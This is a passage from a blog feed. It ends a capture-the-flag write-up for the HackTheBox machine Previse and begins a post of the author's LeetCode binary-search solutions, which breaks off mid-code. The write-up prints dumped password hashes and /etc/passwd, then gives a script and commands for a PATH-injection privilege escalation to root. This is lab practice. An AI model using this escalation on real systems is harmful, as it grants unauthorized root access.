</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">1</span> <span style="color:#f92672">|</span> m4lwhere   <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$DQpmdvnb7EeuO6UaqRItf. <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">2</span> <span style="color:#f92672">|</span> ouiouioui  <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$bwR0QWQ73nPRaUpx0r2la1 <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">3</span> <span style="color:#f92672">|</span> cacapipi   <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$oQSn<span style="color:#f92672">/</span>sA4G3L1zmOigOBq6. <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">4</span> <span style="color:#f92672">|</span> peter      <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$.nhVJJDzQaIk8znez4dDH<span style="color:#f92672">/</span> <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">5</span> <span style="color:#f92672">|</span> jappoo     <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$JeN.ad9Ib9Gi<span style="color:#f92672">/</span>B.zMvpEm<span style="color:#f92672">/</span> <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">6</span> <span style="color:#f92672">|</span> hacker     <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$MHiYle9peb0qOKtGJWZ9S0 <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">7</span> <span style="color:#f92672">|</span> noobie     <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$QJyUxlZ0gphAKveVeBYGk. <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">8</span> <span style="color:#f92672">|</span> fignupafya <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$sP8qi2I.K6urjPuzdGizl1 <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span>  <span style="color:#ae81ff">9</span> <span style="color:#f92672">|</span> lmaolmao   <span style="color:#f92672">|</span> <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">1</span><span style="color:#960050;background-color:#1e0010">$🧂</span>llol$bT7q8rEMWewT0sa2T6FOx0 <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span><span style="color:#75715e">----+------------+------------------------------------+
</span></span></span></code></pre></div><p>Also, take a look at <code>/etc/passwd</code>, we have:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root:x:0:0:root:/root:/bin/bash
</span></span><span style="display:flex;"><span>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>bin:x:2:2:bin:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sys:x:3:3:sys:/dev:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>sync:x:4:65534:sync:/bin:/bin/sync
</span></span><span style="display:flex;"><span>games:x:5:60:games:/usr/games:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>gnats:x:41:41:Gnats Bug-Reporting System <span style="color:#f92672">(</span>admin<span style="color:#f92672">)</span>:/var/lib/gnats:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>syslog:x:102:106::/home/syslog:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>lxd:x:105:65534::/var/lib/lxd/:/bin/false
</span></span><span style="display:flex;"><span>uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>pollinate:x:109:1::/var/cache/pollinate:/bin/false
</span></span><span style="display:flex;"><span>sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
</span></span><span style="display:flex;"><span>mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
</span></span></code></pre></div><p>So our target should be <code>m4lwhere</code> user.</p>
<p>At this point, let&rsquo;s just run John the Ripper (which I personally prefer over Hashcat, since configuring hardware things for hashcat in a virtual environment is quite daunting), and we&rsquo;d got <code>m4lwhere</code> password.</p>
<h2 id="ii-privilege-escalation">II. Privilege Escalation</h2>
<p>Logging in SSH with the credentials of <code>m4lwhere</code>, we&rsquo;d got the user flag. Now it&rsquo;s time for vertical privilege escalation!</p>
<p>After some basic recons, this looks like the best shot we could have:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>m4lwhere@previse:~$ sudo -l
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>sudo<span style="color:#f92672">]</span> password <span style="color:#66d9ef">for</span> m4lwhere: 
</span></span><span style="display:flex;"><span>User m4lwhere may run the following commands on previse:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> /opt/scripts/access_backup.sh
</span></span></code></pre></div><p>So let&rsquo;s go for it!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># We always make sure to store logs, we take security SERIOUSLY here</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># I know I shouldnt run this as root but I cant figure it out programmatically on my account</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This is configured to run with cron, added to sudo so I can run as needed - we&#39;ll fix it later when there&#39;s time</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>gzip -c /var/log/apache2/access.log &gt; /var/backups/<span style="color:#66d9ef">$(</span>date --date<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;yesterday&#34;</span> +%Y%b%d<span style="color:#66d9ef">)</span>_access.gz
</span></span><span style="display:flex;"><span>gzip -c /var/www/file_access.log &gt; /var/backups/<span style="color:#66d9ef">$(</span>date --date<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;yesterday&#34;</span> +%Y%b%d<span style="color:#66d9ef">)</span>_file_access.gz
</span></span></code></pre></div><p>Can you spot the vulnerability? Are we seeing eye to eye, or looking at different things? :D</p>
<p>I&rsquo;ve to admit, at first, I digged deep into the <code>date</code> hole. <code>date</code> binary can provide <a href="https://gtfobins.github.io/gtfobins/date/#sudo">file read access</a>, so I struggled to change the system date to my payload, without-root-access. It was pure hell. After giving up on it, I took another look at <code>access_backup.sh</code> and, god, why was I so blind about that relative <code>gzip</code>? What about path injection?</p>
<p>At first, I tried to directly execute <code>/bin/bash</code> through that injection, but it didn&rsquo;t work. So I tried a a workaround.</p>
<p>I copied <code>bash</code> to home, made a bash script that set SUID and change user of that binary, change <code>PATH</code> to inject it, and got root. Here&rsquo;s the script.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>chown root:root bash
</span></span><span style="display:flex;"><span>chmod +s bash
</span></span></code></pre></div><p>The whole process can be described as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>m4lwhere@previse:~$ cp /bin/bash ~
</span></span><span style="display:flex;"><span>m4lwhere@previse:~$ mv script.sh ~/gzip
</span></span><span style="display:flex;"><span>m4lwhere@previse:~$ export $PATH<span style="color:#f92672">=</span>/home/m4lwhere:$PATH
</span></span><span style="display:flex;"><span>m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
</span></span><span style="display:flex;"><span>m4lwhere@previse:~$ bash -p
</span></span><span style="display:flex;"><span>root@previse:/home/m4lwhere$ 
</span></span></code></pre></div><p>And that&rsquo;s it. The root flag! Don&rsquo;t forget to clean up your traces, for practicing purposes and for later players, everyone. :D</p>
]]></content:encoded>
    </item>
    <item>
      <title>My Leetcode journey</title>
      <link>https://www.akihakune.com/blog/myleetcodejourney/</link>
      <pubDate>Thu, 02 Dec 2021 22:05:00 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/myleetcodejourney/</guid>
      <description>My Leetcode journey from scratch</description>
      <content:encoded><![CDATA[<p>These are my submissions from Leetcode, started from knowing nothing about advanced data structures and algorithms (and still is).</p>
<p>Rather than to show off my code, this article is more like a progress revision for my algo journey. Therefore, it&rsquo;ll be regularly updated.</p>
<p>Who knows, maybe after months of 40 hours a day practicing, I will take a look back and find out how sacrilegious my code once was. :D</p>
<h1 id="starting-point-14-days-study-plan-to-crack-algo">Starting point: <a href="https://leetcode.com/study-plan/algorithm/">14 days study plan to crack algo</a></h1>
<h2 id="first-day-704-binary-search">First day: <a href="https://leetcode.com/problems/binary-search/">704. Binary Search</a></h2>
<p>
  <img src="/img/myleetcodejourney/704_problem.png#center" alt="">

</p>
<p>Accepted Python code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">search</span>(self, nums: List[int], target: int) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        high <span style="color:#f92672">=</span> len(nums)
</span></span><span style="display:flex;"><span>        low <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        mid <span style="color:#f92672">=</span> (low <span style="color:#f92672">+</span> high) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> low <span style="color:#f92672">&lt;</span> high:
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> (low <span style="color:#f92672">+</span> high) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> nums[mid] <span style="color:#f92672">!=</span> target <span style="color:#f92672">and</span> nums[mid] <span style="color:#f92672">&lt;</span> target:
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">elif</span> nums[mid] <span style="color:#f92672">!=</span> target <span style="color:#f92672">and</span> nums[mid] <span style="color:#f92672">&gt;</span> target:
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> mid
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> mid <span style="color:#66d9ef">if</span> nums[mid] <span style="color:#f92672">==</span> target <span style="color:#66d9ef">else</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>Accepted C++ code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> search(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums, <span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> high <span style="color:#f92672">=</span> nums.size(), low <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> mid <span style="color:#f92672">=</span> (high <span style="color:#f92672">+</span> low) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (low <span style="color:#f92672">&lt;</span> high) {
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> (high <span style="color:#f92672">+</span> low) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (nums[mid] <span style="color:#f92672">&lt;</span> target)
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (nums[mid] <span style="color:#f92672">&gt;</span> target)
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> mid;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><h2 id="first-day-278-first-bad-version">First day: <a href="https://leetcode.com/problems/first-bad-version/">278. First Bad version</a></h2>
<p>
  <img src="/img/myleetcodejourney/278_problem.png#center" alt="">

</p>
<p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># The isBadVersion API is already defined for you.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># @param version, an integer</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># @return an integer</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># def isBadVersion(version):</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">firstBadVersion</span>(self, n):
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        :type n: int
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        :rtype: int
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>        high: int <span style="color:#f92672">=</span> n
</span></span><span style="display:flex;"><span>        low: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        mid: int <span style="color:#f92672">=</span> low <span style="color:#f92672">+</span> (high <span style="color:#f92672">-</span> low) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> low <span style="color:#f92672">&lt;</span> high:
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> low <span style="color:#f92672">+</span> (high <span style="color:#f92672">-</span> low) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> isBadVersion(mid):
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> low
</span></span></code></pre></div><p>Accepted C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#75715e">// The API isBadVersion is defined for you.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// bool isBadVersion(int version);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> firstBadVersion(<span style="color:#66d9ef">int</span> n) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> high <span style="color:#f92672">=</span> n, low <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> mid <span style="color:#f92672">=</span> low <span style="color:#f92672">+</span> (high <span style="color:#f92672">-</span> low) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (low <span style="color:#f92672">&lt;</span> high) {
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> low <span style="color:#f92672">+</span> (high <span style="color:#f92672">-</span> low) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (isBadVersion(mid))
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> low;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><h2 id="first-day-35-search-insert-position">First day: <a href="https://leetcode.com/problems/search-insert-position/">35. Search Insert Position</a></h2>
<p>
  <img src="/img/myleetcodejourney/35_problem.png#center" alt="">

</p>
<p>Accepted C++ solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> searchInsert(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums, <span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> high <span style="color:#f92672">=</span> nums.size(), low <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> mid;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> (low <span style="color:#f92672">&lt;</span> high) {
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> low <span style="color:#f92672">+</span> (high <span style="color:#f92672">-</span> low) <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (nums[mid] <span style="color:#f92672">&lt;</span> target)
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> high;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Another accepted C++ solution, but took 9 ms more:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> searchInsert(vector<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">int</span><span style="color:#f92672">&gt;&amp;</span> nums, <span style="color:#66d9ef">int</span> target) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">lower_bound</span>(nums.begin(), nums.end(), target) <span style="color:#f92672">-</span> nums.begin();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">searchInsert</span>(self, nums: List[int], target: int) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        high: int <span style="color:#f92672">=</span> len(nums)
</span></span><span style="display:flex;"><span>        low: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> low <span style="color:#f92672">&lt;</span> high:
</span></span><span style="display:flex;"><span>            mid <span style="color:#f92672">=</span> (low <span style="color:#f92672">+</span> high) <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> nums[mid] <span style="color:#f92672">&lt;</span> target:
</span></span><span style="display:flex;"><span>                low <span style="color:#f92672">=</span> mid <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                high <span style="color:#f92672">=</span> mid
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> high
</span></span></code></pre></div><p>This one ran slower, while taking less space:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">searchInsert</span>(self, nums: List[int], target: int) <span style="color:#f92672">-&gt;</span> int:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> bisect_left(nums, target)
</span></span></code></pre></div><p>Even though they are practically the same algorithm&hellip; How could it be??</p>
<h2 id="day-2-977-squares-of-a-sorted-array">Day 2: <a href="https://leetcode.com/problems/squares-of-a-sorted-array/">977. Squares of a Sorted Array</a></h2>
<p>
  <img src="/img/myleetcodejourney/977_problem.png#center" alt="">

</p>
<p>Accepted Python solution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Solution</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">sortedSquares</span>(self, nums: List[int]) <span style="color:#f92672">-&gt;</span> List[int]:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Handling edge case</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> len(nums) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">3</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> sorted([i<span style="color:#f92672">*</span>i <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> nums])
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Set dead end on a side</span>
</span></span><span style="display:flex;"><span>        MAX_INTERGER_VALUE: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span><span style="color:#f92672">**</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>        nums<span style="color:#f92672">.</span>append(MAX_INTERGER_VALUE <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Get the position of the number</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># that&#39;s nearest to 0</span>
</span></span><span style="display:flex;"><span>        zeroPosition <span style="color:#f92672">=</span> bisect_right(nums, <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        left: int <span style="color:#f92672">=</span> zeroPosition <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>        right: int <span style="color:#f92672">=</span> zeroPosition
</span></span><span style="display:flex;"><span>        answer <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">while</span> left <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">or</span> right <span style="color:#f92672">&lt;</span> len(nums):   
